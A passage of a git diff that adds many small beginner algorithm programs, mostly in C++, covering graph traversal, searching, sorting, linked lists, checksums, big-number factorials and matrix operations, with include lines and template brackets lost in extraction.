main() { + int n; + cin>>n; + int i1=0; + + + for(int i=0; i=(5*i)+1; k--){ + cout< +using namespace std; +int main(){ + int size; + cout << "Enter the size of the array: " << endl; + cin >> size; + int *array = new int[size]; + cout << "Enter the elements of the array: " << endl; + for(int i = 0; i < size; i++){ + cin >> array[i]; + } + int *b = new int[size]; + + for(int i = 0; i < size; i++){ + b[i] = array[size-1-i]; + } + delete[] array; + array = b; + + cout << "The reversed array is: " << endl; + for(int i = 0; i < size; i++){ + cout << array[i] << " "; + } + delete[] b; + return 0; +} \ No newline at end of file diff --git a/CPP/bfs.cpp b/CPP/bfs.cpp new file mode 100644 index 000000000..a027cf07f --- /dev/null +++ b/CPP/bfs.cpp @@ -0,0 +1,95 @@ +// Program to print BFS traversal from a given +// source vertex. BFS(int s) traverses vertices +// reachable from s. +#include +#include + +using namespace std; + +// This class represents a directed graph using +// adjacency list representation +class Graph +{ + int V; // No. of vertices + + // Pointer to an array containing adjacency + // lists + list *adj; +public: + Graph(int V); // Constructor + + // function to add an edge to graph + void addEdge(int v, int w); + + // prints BFS traversal from a given source s + void BFS(int s); +}; + +Graph::Graph(int V) +{ + this->V = V; + adj = new list[V]; +} + +void Graph::addEdge(int v, int w) +{ + adj[v].push_back(w); // Add w to v’s list. +} + +void Graph::BFS(int s) +{ + // Mark all the vertices as not visited + bool *visited = new bool[V]; + for(int i = 0; i < V; i++) + visited[i] = false; + + // Create a queue for BFS + list queue; + + // Mark the current node as visited and enqueue it + visited[s] = true; + queue.push_back(s); + + // 'i' will be used to get all adjacent + // vertices of a vertex + list::iterator i; + + while(!queue.empty()) + { + // Dequeue a vertex from queue and print it + s = queue.front(); + cout << s << " "; + queue.pop_front(); + + // Get all adjacent vertices of the dequeued + // vertex s. If a adjacent has not been visited, + // then mark it visited and enqueue it + for (i = adj[s].begin(); i != adj[s].end(); ++i) + { + if (!visited[*i]) + { + visited[*i] = true; + queue.push_back(*i); + } + } + } +} + +// Driver program to test methods of graph class +int main() +{ + // Create a graph given in the above diagram + Graph g(4); + g.addEdge(0, 1); + g.addEdge(0, 2); + g.addEdge(1, 2); + g.addEdge(2, 0); + g.addEdge(2, 3); + g.addEdge(3, 3); + + cout << "Following is Breadth First Traversal " + << "(starting from vertex 2) \n"; + g.BFS(2); + + return 0; +} \ No newline at end of file diff --git a/CPP/binarySearch.cpp b/CPP/binarySearch.cpp new file mode 100644 index 000000000..dbcd750ff --- /dev/null +++ b/CPP/binarySearch.cpp @@ -0,0 +1,32 @@ +#include +#include +using namespace std; + +class Solution { +public: + int search(vector& nums, int target) { + int k = 0; + int n = nums.size(); + for(int b = n / 2; b >= 1; b /= 2) + { + while(k+b < n && nums[k+b] <= target) + k += b; + } + + if (nums[k] == target) + { + return k; + } + + return -1; + } +}; + +int main() +{ + Solution s1; + //int t; + vector vec = {-1,0,3,5,9,12}; + cout << s1.search(vec, 9); + return 0; +} \ No newline at end of file diff --git a/CPP/binary_search.cpp b/CPP/binary_search.cpp new file mode 100644 index 000000000..cad1fddc3 --- /dev/null +++ b/CPP/binary_search.cpp @@ -0,0 +1,47 @@ + +int binsearch(int A[], int low, int high, int key){ + + if (low<=high){ + int mid = low + (high-low)/2; + + if(key== A[mid]){ + return mid; + } + + else if (key +#include +using namespace std; + +struct node{ + int data; + struct node *next; +}; + +bool check_pal(struct node* head_ref){ + struct node* curr=head_ref; + stack s; + + while(curr!=NULL){ + s.push(curr->data); + curr=curr->next; + } + while(head_ref!=NULL){ + int i=s.top(); + s.pop(); + if(head_ref->data!=i){ + return false; + } + head_ref=head_ref->next; + } + return true; +} + +void push(struct node** head_ref,int num){ + struct node* newnode=(struct node*)malloc(sizeof(struct node)); + newnode->data=num; + newnode->next=(*head_ref); + *head_ref=newnode; +} + +void print(struct node* head){ + struct node* temp=head; + while(temp!=NULL){ + printf("%d->",temp->data); + temp=temp->next; + } + printf("\n"); +} + +int main(){ + struct node* head=NULL; + push(&head,5); + push(&head,7); + push(&head,9); + push(&head,2); + push(&head,2); + push(&head,9); + push(&head,7); + push(&head,5); + cout< +using namespace std; + +// Function to find the One's complement +// of the given binary string +string Ones_complement(string data) +{ + for (int i = 0; i < data.length(); i++) { + if (data[i] == '0') + data[i] = '1'; + else + data[i] = '0'; + } + + return data; +} + +// Function to return the checksum value of +// the given string when divided in K size blocks +string checkSum(string data, int block_size) +{ + // Check data size is divisible by block_size + // Otherwise add '0' front of the data + int n = data.length(); + if (n % block_size != 0) { + int pad_size = block_size - (n % block_size); + for (int i = 0; i < pad_size; i++) { + data = '0' + data; + } + } + + // Binary addition of all blocks with carry + string result = ""; + + // First block of data stored in result variable + for (int i = 0; i < block_size; i++) { + result += data[i]; + } + + // Loop to calculate the block + // wise addition of data + for (int i = block_size; i < n; i += block_size) { + + // Stores the data of the next block + string next_block = ""; + + for (int j = i; j < i + block_size; j++) { + next_block += data[j]; + } + + // Stores the binary addition of two blocks + string additions = ""; + int sum = 0, carry = 0; + + // Loop to calculate the binary addition of + // the current two blocls of k size + for (int k = block_size - 1; k >= 0; k--) { + sum += (next_block[k] - '0') + + (result[k] - '0'); + carry = sum / 2; + if (sum == 0) { + additions = '0' + additions; + sum = carry; + } + else if (sum == 1) { + additions = '1' + additions; + sum = carry; + } + else if (sum == 2) { + additions = '0' + additions; + sum = carry; + } + else { + additions = '1' + additions; + sum = carry; + } + } + + // After binary add of two blocks with carry, + // if carry is 1 then apply binary addition + string final = ""; + + if (carry == 1) { + for (int l = additions.length() - 1; l >= 0; + l--) { + if (carry == 0) { + final = additions[l] + final; + } + else if (((additions[l] - '0') + carry) % 2 + == 0) { + final = "0" + final; + carry = 1; + } + else { + final = "1" + final; + carry = 0; + } + } + + result = final; + } + else { + result = additions; + } + } + + // Return One's complements of result value + // which represents the required checksum value + return Ones_complement(result); +} + +// Function to check if the received message +// is same as the senders message +bool checker(string sent_message, + string rec_message, + int block_size) +{ + + // Checksum Value of the senders message + string sender_checksum + = checkSum(sent_message, block_size); + + // Checksum value for the receivers message + string receiver_checksum = checkSum( + rec_message + sender_checksum, block_size); + + // If receivers checksum value is 0 + if (count(receiver_checksum.begin(), + receiver_checksum.end(), '0') + == block_size) { + return true; + } + else { + return false; + } +} + +// Driver Code +int main() +{ + string sent_message + = "10000101011000111001010011101101"; + string recv_message + = "10000101011000111001010011101101"; + int block_size = 8; + + if (checker(sent_message, + recv_message, + block_size)) { + cout << "No Error"; + } + else { + cout << "Error"; + } + + return 0; +} diff --git a/CPP/chocolateDistribution.cpp b/CPP/chocolateDistribution.cpp new file mode 100644 index 000000000..2469cdaa8 --- /dev/null +++ b/CPP/chocolateDistribution.cpp @@ -0,0 +1,33 @@ +#include +using namespace std; + +int findMinDiff(int arr[], int n, int m) +{ + if (m == 0 || n == 0) + return 0; + + sort(arr, arr + n); + + if (n < m) + return -1; + + int min_diff = INT_MAX; + + for (int i = 0; i + m - 1 < n; i++) { + int diff = arr[i + m - 1] - arr[i]; + if (diff < min_diff) + min_diff = diff; + } + return min_diff; +} + +int main() +{ + int arr[] = { 12, 4, 7, 9, 2, 23, 25, 41, 30, + 40, 28, 42, 30, 44, 48, 43, 50 }; + int m = 7; // Number of students + int n = sizeof(arr) / sizeof(arr[0]); + cout << "Minimum difference is " + << findMinDiff(arr, n, m); + return 0; +} \ No newline at end of file diff --git a/CPP/connect_red_squares.cpp b/CPP/connect_red_squares.cpp new file mode 100644 index 000000000..69546d9fc --- /dev/null +++ b/CPP/connect_red_squares.cpp @@ -0,0 +1,73 @@ +#include "bits/stdc++.h" +#define int long long int +#define mp make_pair +#define pb emplace_back +#define F first +#define S second +using vi = std::vector; +using vvi = std::vector; +using pii = std::pair; +using vpii = std::vector; +using vvpii = std::vector; +using namespace std; +const int inf = 1e18 + 10; +const int N = 9; +int n, m; vector a; +set> s; +int ans; +int dx[4] = {1, 0, -1, 0}, dy[4] = {0, 1, 0, -1}; +int ok(int x, int y) { + return x > - 1 and y > - 1 and x < n and y < n; +} +void f(int m) { + if (s.count(a)) { + return; + } + s.insert(a); + if (m == 0) { + ans++; + return; + } + for (int i = 0; i < n; i++) { + for (int j = 0; j < n; j++) { + if (a[i][j] == '.') { + int has_red_surroundings = 0; + for (int k = 0; k < 4; k++) { + int x = i + dx[k], y = j + dy[k]; + if (ok(x, y) and a[x][y] == '@') + has_red_surroundings = 1; + } + if (has_red_surroundings) { + a[i][j] = '@'; + f(m - 1); + a[i][j] = '.'; + } + } + } + } +} +void solve() { + cin >> n >> m; + a.resize(n); + for (int i = 0; i < n; i++) { + a[i].resize(n); + for (int j = 0; j < n; j++) { + cin >> a[i][j]; + } + } + for (int i = 0; i < n; i++) { + for (int j = 0; j < n; j++) { + if (a[i][j] == '.') { + a[i][j] = '@'; + f(m - 1); + a[i][j] = '.'; + } + } + } + cout << ans; +} +int32_t main() { + ios_base::sync_with_stdio(false); cin.tie(0); + solve(); return 0; + return 0; +} \ No newline at end of file diff --git a/CPP/connected components_graphs.cpp b/CPP/connected components_graphs.cpp new file mode 100644 index 000000000..c188cd807 --- /dev/null +++ b/CPP/connected components_graphs.cpp @@ -0,0 +1,65 @@ +#include +#include +#include +using namespace std; + +void dfs(int start, vector* edges, int n, unordered_set& visited, unordered_set * component) { + visited.insert(start); + component->insert(start); + vector::iterator it = edges[start].begin(); + for (;it != edges[start].end(); it++) { + int i = *it; + if (visited.count(i) > 0) { + continue; + } + dfs(i, edges,n, visited, component); + } +} + +unordered_set*>* getComponents(vector* edges, int n) { + unordered_set visited; + unordered_set*>* output = new unordered_set*>(); + for (int i = 0; i < n; i++) { + if (visited.count(i) == 0) { + unordered_set * component = new unordered_set(); + dfs(i, edges,n, visited, component); + output->insert(component); + } + } + return output; +} + +int main() { + int n; + cin >> n; + vector* edges = new vector[n]; + int m; + cin >> m; + for (int i = 0; i < m; i++) { + int j, k; + cin >> j >> k; + edges[j - 1].push_back(k - 1); + edges[k - 1].push_back(j - 1); + } + unordered_set*>* components = getComponents(edges, n); + unordered_set*>::iterator it = components->begin(); + while (it != components->end()) { + unordered_set* component = *it; + unordered_set::iterator it2 = component->begin(); + while (it2 != component->end()) { + cout << *it2 + 1 << " "; + it2++; + } + cout << endl; + delete component; + it++; + } + delete components; + delete edges; +} + + + + + + diff --git a/CPP/cprogramming_template.cpp b/CPP/cprogramming_template.cpp new file mode 100644 index 000000000..26bbce425 --- /dev/null +++ b/CPP/cprogramming_template.cpp @@ -0,0 +1,27 @@ +#include +using namespace std; +#define MP make_pair +#define umap unordered_map +#define uset unordered_set +typedef long long ll; +typedef vector vi; +typedef vector vl; +typedef pair pii; +typedef pair pll; +const int MOD = 1000000007; +#ifndef ONLINE_JUDGE +#define deb(x) cout << #x << '=' << x << '\n' +#else +#define deb(x) +#endif + +void solve() { + // CODE +} + +int main(int argc, const char** argv) { + ios_base::sync_with_stdio(false); + cin.tie(NULL); + solve(); + return 0; +} diff --git a/CPP/dfs.cs b/CPP/dfs.cs new file mode 100644 index 000000000..7a9e0bd4e --- /dev/null +++ b/CPP/dfs.cs @@ -0,0 +1,92 @@ +/* + * 1 + * / | \ + * 2 5 9 + * / / \ \ + * 3 6 8 10 + * / / + * 4 7 + * + */ + + Graph graph = new Graph(11); + graph.AddEdge(1, 2, false); + graph.AddEdge(2, 3, false); + graph.AddEdge(3, 4, false); + graph.AddEdge(1, 5, false); + graph.AddEdge(5, 6, false); + graph.AddEdge(6, 7, false); + graph.AddEdge(5, 8, false); + graph.AddEdge(1, 9, false); + graph.AddEdge(9, 10, false); + graph.DFS(); + + public class Graph + { + LinkedList[] linkedListArray; + + public Graph(int v) + { + linkedListArray = new LinkedList[v]; + } + + /// + + /// The method takes two nodes for which to add edge. + /// + + /// + /// + /// + public void AddEdge(int u, int v, bool blnBiDir = true) + { + if (linkedListArray[u] == null) + { + linkedListArray[u] = new LinkedList(); + linkedListArray[u].AddFirst(v); + } + else + { + var last = linkedListArray[u].Last; + linkedListArray[u].AddAfter(last, v); + } + + if (blnBiDir) + { + if (linkedListArray[v] == null) + { + linkedListArray[v] = new LinkedList(); + linkedListArray[v].AddFirst(u); + } + else + { + var last = linkedListArray[v].Last; + linkedListArray[v].AddAfter(last, u); + } + } + } + + internal void DFSHelper(int src, bool[] visited) + { + visited[src] = true; + Console.Write(src + "->"); + if (linkedListArray[src] != null) + { + foreach (var item in linkedListArray[src]) + { + if (!visited[item] == true) + { + DFSHelper(item, visited); + } + } + } + } + + internal void DFS() + { + Console.WriteLine("DFS"); + bool[] visited = new bool[linkedListArray.Length + 1]; + DFSHelper(1, visited); + + } + } diff --git a/CPP/displayDate.cpp b/CPP/displayDate.cpp new file mode 100644 index 000000000..d4f278b07 --- /dev/null +++ b/CPP/displayDate.cpp @@ -0,0 +1,32 @@ +/* C++ Program to Display Date using Constructors */ + +#include +using namespace std; + +class date +{ + private: + int dd, mm, yy; + + public: + date() + { + dd=31; + mm=12; + yy=2016; + cout<<"\nDate Object has been created..............\n"; + } + + void display() + { + cout<<"\nThe Entered Date is :: "; + cout< + +using namespace std; + +int multiply(int x, int a[], int size) +{ + int carry = 0, i, p; + + for (i = 0; i < size; ++i) + { + p = a[i] * x + carry; + a[i] = p % 10; + carry = p / 10; + } + while (carry != 0) + { + a[size] = carry % 10; + carry = carry / 10; + size++; + } + return size; +} + +int main() +{ + int n, a[1000], i, size = 1; + a[0] = 1; + + cout << "Enter any large number:"; + cin >> n; + + for (i = 2; i <= n; ++i) + { + size = multiply(i, a, size); + } + + for (i = size - 1; i >= 0; --i) + { + cout << a[i]; + } + + return 0; +} diff --git a/CPP/factorialOfLargeNumber.cpp b/CPP/factorialOfLargeNumber.cpp new file mode 100644 index 000000000..94a55ecb6 --- /dev/null +++ b/CPP/factorialOfLargeNumber.cpp @@ -0,0 +1,62 @@ +// Problem Link: https://practice.geeksforgeeks.org/problems/factorials-of-large-numbers2508/1 +// Problem : Given an integer N, find its factorial. +// Input: N = 10 +// Output: 3628800 +// Explanation : +// 10! = 1*2*3*4*5*6*7*8*9*10 = 3628800 +// Solution: + +// { Driver Code Starts +// Initial Template for C++ + +#include +using namespace std; + + // } Driver Code Ends +//User function template for C++ + +class Solution { +public: + vector factorial(int N) + { + vector v; + v.push_back(1); + for(int i=2; i<=N; i++) + { + int carry = 0; + for(int j=0; j> t; + while (t--) { + int N; + cin >> N; + Solution ob; + vector result = ob.factorial(N); + for (int i = 0; i < result.size(); ++i){ + cout<< result[i]; + } + cout << endl; + } + return 0; +} // } Driver Code Ends + + diff --git a/CPP/factorial_of_large_no.cpp b/CPP/factorial_of_large_no.cpp new file mode 100644 index 000000000..69fd1519c --- /dev/null +++ b/CPP/factorial_of_large_no.cpp @@ -0,0 +1,67 @@ +// C++ program to compute factorial of big numbers +#include +using namespace std; + +// Maximum number of digits in output +#define MAX 500 + +int multiply(int x, int res[], int res_size); + +// This function finds factorial of large numbers +// and prints them +void factorial(int n) +{ + int res[MAX]; + + // Initialize result + res[0] = 1; + int res_size = 1; + + // Apply simple factorial formula n! = 1 * 2 * 3 * 4...*n + for (int x=2; x<=n; x++) + res_size = multiply(x, res, res_size); + + cout << "Factorial of given number is \n"; + for (int i=res_size-1; i>=0; i--) + cout << res[i]; +} + +// This function multiplies x with the number +// represented by res[]. +// res_size is size of res[] or number of digits in the +// number represented by res[]. This function uses simple +// school mathematics for multiplication. +// This function may value of res_size and returns the +// new value of res_size +int multiply(int x, int res[], int res_size) +{ + int carry = 0; // Initialize carry + + // One by one multiply n with individual digits of res[] + for (int i=0; i +using namespace std; + +int fasExpo(int a, int n, int mod) +{ + // base condition + if(n == 0) + return 1; + + // a ^ n % mod + + if(n % 2 == 0) + // a ^ n = ((a ^ 2) ^ (n / 2)) + return fasExpo((1LL * a * a) % mod, n / 2, mod); + + // since if statement is a return statement logically there's no need to write a else statement. + // Therefore for the odd case it'll be a default return statement. + + // a ^ n = a * (a ^ (n - 1)) + return (1LL * a * fasExpo(a , n - 1, mod)) % mod; + +} + +int main() +{ + cout << fasExpo(2, 10, 10000000007); + return 0; +} \ No newline at end of file diff --git a/CPP/findCyclicInGraph.cpp b/CPP/findCyclicInGraph.cpp new file mode 100644 index 000000000..611bec42d --- /dev/null +++ b/CPP/findCyclicInGraph.cpp @@ -0,0 +1,68 @@ +#include +using namespace std; +void make_set(vector &parent) +{ + for (int i = 0; i < parent.size(); i++) + { + parent[i] = i; + } +} +int find(vector &parent, int y) +{ + if (parent[y] != y) + { + parent[y] = find(parent, parent[parent[y]]); + } + return parent[y]; +} +void union_set(vector &parent, vector &rank, int x, int y) +{ + int root1 = find(parent, x); + int root2 = find(parent, y); + if (root1 == root2) + return; + if (rank[root1] > rank[root2]) + { + parent[root2] = root1; + } + else + { + parent[root1] = root2; + if (rank[root1] == rank[root2]) + { + rank[root2]++; + } + } +} +bool iscyclic(vector> &v, int size) +{ + vector parent(size); + vector rank(size, 0); + make_set(parent); + for (auto x = v.begin(); x != v.end(); x++) + { + int root1 = find(parent, x->first); + int root2 = find(parent, x->second); + if (root1 == root2) + { + return true; + } + else + union_set(parent, rank, root1, root2); + } + return false; +} +int main() +{ + int size = 6; + vector> v; + v.push_back(make_pair(0, 1)); + v.push_back(make_pair(0, 2)); + v.push_back(make_pair(1, 3)); + v.push_back(make_pair(2, 3)); + v.push_back(make_pair(3, 4)); + v.push_back(make_pair(4, 5)); + cout<< iscyclic(v, size); + + return 0; +} \ No newline at end of file diff --git a/CPP/findtriangle.cpp b/CPP/findtriangle.cpp new file mode 100644 index 000000000..2268e0abd --- /dev/null +++ b/CPP/findtriangle.cpp @@ -0,0 +1,56 @@ +/*You are given the length of three sides a, b, and c respectively for a triangle. + If these three sides can form an Equilateral Triangle then print 1, + If these three sides can form an Isosceles Triangle then print 2, + if these three sides can form a Scalene Triangle then print 3, + otherwise print −1. + + Sample Input: + 4 4 4 + + Output: + 1 + + Sample Input + 3 3 2 + + Sample Output + 2 + + Sample Input: + 2 4 6 + + Sample Output: + 3 + */ + + +#include +#include +using namespace std; + +int main() { + int arr[3]; + for(int i=0; i<=2; i++){ + cin>>arr[i]; + } + int n = sizeof(arr) / sizeof(arr[0]); + + sort(arr, arr + n); + + + + if(arr[0]+arr[1]-arr[2]>0){ + if(arr[0]==arr[1] && arr[1]==arr[2]){ + cout<<"1"; + } + else if(((arr[0]==arr[1]) || (arr[1]==arr[2]) || (arr[0]==arr[2]))){ + cout<<"2"; + } + else if(arr[0]!=arr[1] && arr[1]!=arr[2]){ + cout<<"3"; + } + } + else{ + cout<<"-1"; + } +} diff --git a/CPP/insertion sort.cpp b/CPP/insertion sort.cpp new file mode 100644 index 000000000..c288f7e7b --- /dev/null +++ b/CPP/insertion sort.cpp @@ -0,0 +1,35 @@ +//Insertion sort + +#include +using namespace std; + +int main() +{ + int s,i,j,current; + cout<<"enter size of array :"; + cin>>s; + int arr[s]; + for(i=0;i>arr[i]; + } + + for(i=1;icurrent&&j>=0) + { + arr[j+1]=arr[j]; + j--; + } + j++; + arr[j]=current; + } + for(i=0;i +using namespace std; + +// Function to print an array +void printArray(int array[], int size) { + for (int i = 0; i < size; i++) { + cout << array[i] << " "; + } + cout << endl; +} + +void insertionSort(int array[], int size) { + for (int step = 1; step < size; step++) { + int key = array[step]; + int j = step - 1; + + while (key < array[j] && j >= 0) { + array[j + 1] = array[j]; + --j; + } + array[j + 1] = key; + } +} + +int main() { + int arr[] = {9, 5, 1, 4, 3}; + int size = sizeof(arr) / sizeof(arr[0]); + insertionSort(arr, size); + cout << "Sorted array in ascending order:\n"; + printArray(arr, size); +} diff --git a/CPP/kadane.cpp b/CPP/kadane.cpp new file mode 100755 index 000000000..a1fbc03fe --- /dev/null +++ b/CPP/kadane.cpp @@ -0,0 +1,25 @@ +#include + +using namespace std; + +int kadane(vector a) { + int max_current = a[0]; + int max_global = a[0]; + for (int i = 1; i < a.size(); i++) { + max_current = max(a[i], max_current + a[i]); + if(max_current > max_global) { + max_global = max_current; + } + } + return max_global; +} + +int main() { + int n; cin >> n; + vector a(n); + for (int i = 0; i < n; ++i) { + cin >> a[i]; + } + cout << kadane(a); + return 0; +} diff --git a/CPP/linearsearch.cpp b/CPP/linearsearch.cpp new file mode 100644 index 000000000..07b239cab --- /dev/null +++ b/CPP/linearsearch.cpp @@ -0,0 +1,23 @@ +#include +using namespace std; +int main(){ +int n,temp,c; +cout<<"Enter the number of elements :\n"; +cin>>n; +cout<<"Enter the number for searching :\n"; +cin>>temp; +int A[n]; +cout<<"Enter the elements :\n"; +for(int i=0;i>A[i]; +for(int i=0;i +using namespace std; + +int lis(int arr[], int n) +{ + int lis[n]; + + lis[0] = 1; + + for (int i = 1; i < n; i++) { + lis[i] = 1; + for (int j = 0; j < i; j++) + if (arr[i] > arr[j] && lis[i] < lis[j] + 1) + lis[i] = lis[j] + 1; + } + + return *max_element(lis, lis + n); +} + +/* Driver program to test above function */ +int main() +{ + int arr[] = { 10, 22, 9, 33, 21, 50, 41, 60 }; + int n = sizeof(arr) / sizeof(arr[0]); + printf("Length of lis is %d\n", lis(arr, n)); + + return 0; +} + diff --git a/CPP/majority_element.cpp b/CPP/majority_element.cpp new file mode 100644 index 000000000..ab6dc5391 --- /dev/null +++ b/CPP/majority_element.cpp @@ -0,0 +1,66 @@ +// C++ Program for finding out majority element in an array using moore's voting algorithm + +#include +using namespace std; + + +int findCandidate(int a[], int size) +{ + int maj_index = 0, count = 1; + for (int i = 1; i < size; i++) { + if (a[maj_index] == a[i]) + count++; + else + count--; + if (count == 0) { + maj_index = i; + count = 1; + } + } + return a[maj_index]; +} + +bool isMajority(int a[], int size, int cand) +{ + int count = 0; + for (int i = 0; i < size; i++) + + if (a[i] == cand) + count++; + + if (count > size / 2) + return 1; + + else + return 0; +} + + +void printMajority(int a[], int size) +{ + /* Find the candidate for Majority*/ + int cand = findCandidate(a, size); + + /* Print the candidate if it is Majority*/ + if (isMajority(a, size, cand)) + cout << " " << cand << " "; + + else + cout << "No Majority Element"; +} + + +int main() +{ + int size; + cin>>size; + int a[size] + for(int i=0; i>a[i]; + } + + printMajority(a, size); + + return 0; +} diff --git a/CPP/matrix multiplication.cpp b/CPP/matrix multiplication.cpp new file mode 100644 index 000000000..657780a04 --- /dev/null +++ b/CPP/matrix multiplication.cpp @@ -0,0 +1,65 @@ +//matrix multiplication(2-D array) + +#include +using namespace std; + +int main() +{ + int n1,n2,n3; + cin>>n1 >>n2>> n3; + + int arr1[n1][n2]; + int arr2[n2][n3]; + int prod[n1][n3]; + + cout<<"\n"; + + for(int i=0;i>arr1[i][j]; + } + } + + cout<<"\n"; + + for(int i=0;i>arr2[i][j]; + } + } + + for(int i=0;i +struct Matrix{ + int r, c; + vector> data; + Matrix(int r, int c) : r(r), c(c){ + data.assign(r, vector (c)); + } + explicit Matrix(const vector> &a) { + data = a, r = data.size(), c = data[0].size(); + } + Matrix operator + (const Matrix &other) { + assert(r == other.data.size() && c == other.data[0].size()); + Matrix ans(r, c); + for (int i = 0; i < r; ++i) { + for (int j = 0; j < c; ++j) { + ans.data[i][j] = data[i][j] + other.data[i][j]; + } + } + return ans; + } + Matrix operator - (const Matrix &other) { + assert(r == other.data.size() && c == other.data[0].size()); + Matrix ans(r, c); + for (int i = 0; i < r; ++i) { + for (int j = 0; j < c; ++j) { + ans.data[i][j] = data[i][j] - other.data[i][j]; + } + } + return ans; + } + Matrix operator * (const Matrix &other) { + assert(c == other.data.size()); + int m = other.data[0].size(); + Matrix ans(r, m); + for (int i = 0; i < r; ++i) { + for (int j = 0; j < m; ++j) { + for (int k = 0; k < c; ++k) { + ans.data[i][j] += data[i][k] * other.data[k][j]; + } + } + } + return ans; + } + friend ostream& operator << (ostream &_out, const Matrix &other) { + for (auto &i: other.data) { + for (auto &j: i) { + _out << j << ' '; + } + _out << "\n"; + } + return _out; + } + Matrix& operator += (const Matrix &other) { + *this = (*this + other); + return *this; + } + Matrix& operator -= (const Matrix &other) { + *this = (*this - other); + return *this; + } + Matrix& operator *= (const Matrix &other) { + *this = (*this * other); + return *this; + } + Matrix transpose() { + Matrix res(c, r); + for (int i = 0; i < c; ++i) { + for (int j = 0; j < r; ++j) { + res[i][j] = data[j][i]; + } + } + return res; + } + vector& operator [] (int i) { + assert(i < r && i >= 0); + return data[i]; + } + vector& operator [] (int i) const { + assert(i < r && i >= 0); + return data[i]; + } + Matrix getIdentityMatrix() { + assert(r == c); + Matrix id(r, r); + for (int i = 0; i < r; ++i) { + id.data[i][i] = (T)1; + } + return id; + } + Matrix pow(long long n) { + if (n == 0) return getIdentityMatrix(); + Matrix res = pow(n / 2); + if (n % 2) return res * res * (*this); + return res * res; + } +}; diff --git a/CPP/maximum_of_minimum_K_window.cpp b/CPP/maximum_of_minimum_K_window.cpp new file mode 100644 index 000000000..ceb62c391 --- /dev/null +++ b/CPP/maximum_of_minimum_K_window.cpp @@ -0,0 +1,62 @@ +/* Maximum of Minima of all windows of size k + + For a list of numbers, + Find the maximum of minima of all windows of size k + + For example if array = [1,2,3,4,5,6] + and window size, k = 3 + then + windows | minimum + [1,2,3] | 1 + [2,3,4] | 2 + [3,4,5] | 3 + [4,5,6] | 4 + + Then maximum of minima = 4 + + Approach: + + Hash the first window using ordered map, + and store the first element of hash as answer + + then hash subsequent windows and for each window + decrease one instance first element of previous window and + if that number is not present in new window remove it. + + Add the new element and again take the first element of map and maximise it. + +*/ + +#include + +using namespace std; + +int main() +{ + int n = 6; // size of array + int nums[n] = {1, 2, 3, 4, 5, 6}; + int k = 3; // window size + int maxx = INT_MIN; + + maphash; + for(int i=0;ifirst; // first element of map is smallest + for(int i=k;ifirst); // maximising the minima + } + cout< +using namespace std; + +/* A binary tree node has data, pointer to left child +and a pointer to right child */ +class node +{ + public: + int data; + node* left; + node* right; +}; + +// A utility unction to merge two sorted arrays into one +int *merge(int arr1[], int arr2[], int m, int n); + +// A helper function that stores inorder +// traversal of a tree in inorder array +void storeInorder(node* node, int inorder[], + int *index_ptr); + +/* A function that constructs Balanced +Binary Search Tree from a sorted array +See https://www.geeksforgeeks.org/sorted-array-to-balanced-bst/ */ +node* sortedArrayToBST(int arr[], int start, int end); + +/* This function merges two balanced +BSTs with roots as root1 and root2. +m and n are the sizes of the trees respectively */ +node* mergeTrees(node *root1, node *root2, int m, int n) +{ + int *arr1 = new int[m]; + int i = 0; + storeInorder(root1, arr1, &i); + + int *arr2 = new int[n]; + int j = 0; + storeInorder(root2, arr2, &j); + + int *mergedArr = merge(arr1, arr2, m, n); + + return sortedArrayToBST (mergedArr, 0, m + n - 1); +} + + +node* newNode(int data) +{ + node* Node = new node(); + Node->data = data; + Node->left = NULL; + Node->right = NULL; + + return(Node); +} + +void printInorder(node* node) +{ + if (node == NULL) + return; + + printInorder(node->left); + + cout << node->data << " "; + + + printInorder(node->right); +} + +int *merge(int arr1[], int arr2[], int m, int n) +{ + + int *mergedArr = new int[m + n]; + int i = 0, j = 0, k = 0; + + while (i < m && j < n) + { + + if (arr1[i] < arr2[j]) + { + mergedArr[k] = arr1[i]; + i++; + } + else + { + mergedArr[k] = arr2[j]; + j++; + } + k++; + } + + while (i < m) + { + mergedArr[k] = arr1[i]; + i++; k++; + } + + while (j < n) + { + mergedArr[k] = arr2[j]; + j++; k++; + } + + return mergedArr; +} + +void storeInorder(node* node, int inorder[], int *index_ptr) +{ + if (node == NULL) + return; + + storeInorder(node->left, inorder, index_ptr); + + inorder[*index_ptr] = node->data; + (*index_ptr)++; + + storeInorder(node->right, inorder, index_ptr); +} + +node* sortedArrayToBST(int arr[], int start, int end) +{ + + if (start > end) + return NULL; + + int mid = (start + end)/2; + node *root = newNode(arr[mid]); + + + root->left = sortedArrayToBST(arr, start, mid-1); + + + root->right = sortedArrayToBST(arr, mid+1, end); + + return root; +} + + +int main() +{ + node *root1 = newNode(100); + root1->left = newNode(50); + root1->right = newNode(300); + root1->left->left = newNode(20); + root1->left->right = newNode(70); + + + node *root2 = newNode(80); + root2->left = newNode(40); + root2->right = newNode(120); + + node *mergedTree = mergeTrees(root1, root2, 5, 3); + + cout << "Following is Inorder traversal of the merged tree \n"; + printInorder(mergedTree); + + return 0; +} + diff --git a/CPP/merge_sort_LL.cpp b/CPP/merge_sort_LL.cpp new file mode 100644 index 000000000..dbb625e6f --- /dev/null +++ b/CPP/merge_sort_LL.cpp @@ -0,0 +1,130 @@ +#include +using namespace std; + +struct node +{ + int data; + struct node* next; +}; +struct node *head=NULL; + +struct node *SortedMerge(struct node *a,struct node *b){ + struct node *result=NULL; + struct node *temp; + + if(a==NULL){ + return b; + } + if(b==NULL){ + return a; + } + if(a&&b){ + if(a->data <= b->data){ + temp=a; + a=temp->next; + } + else{ + temp=b; + b=temp->next; + } + } + result=temp; + while(a&&b){ + if(a->data <= b->data){ + temp->next=a; + temp=a; + a=temp->next; + } + else{ + temp->next=b; + temp=b; + b=temp->next; + } + } + if(a==NULL) + temp->next=b; + if(b==NULL) + temp->next=a; + + return result; +} + +void FrontBackSplit(struct node *head,struct node **a,struct node**b){ + struct node *fast; + struct node *slow; + + if(head==NULL||head->next==NULL){ + *a=head; + *b=NULL; + } + else{ + slow=head; + fast=head->next; + + while(fast!=NULL){ + fast=fast->next; + if(fast!=NULL){ + slow=slow->next; + fast=fast->next; + } + } + *a=head; + *b=slow->next; + slow->next=NULL; + } +} +void mergeSort(struct node** headRef){ + struct node* head=*headRef; + struct node *a; + struct node *b; + + //Base Case -- length 0 or 1 + if((head==NULL)||(head->next==NULL)){ + return; + } + + FrontBackSplit(head,&a,&b); + + mergeSort(&a); + mergeSort(&b); + + *headRef=SortedMerge(a,b); +} + + +void displayLLD(struct node *head){ + struct node *temp=head; + while(temp!=NULL){ + printf("%d->",temp->data); + temp=temp->next; + } + printf("NULL\n"); +} + +void 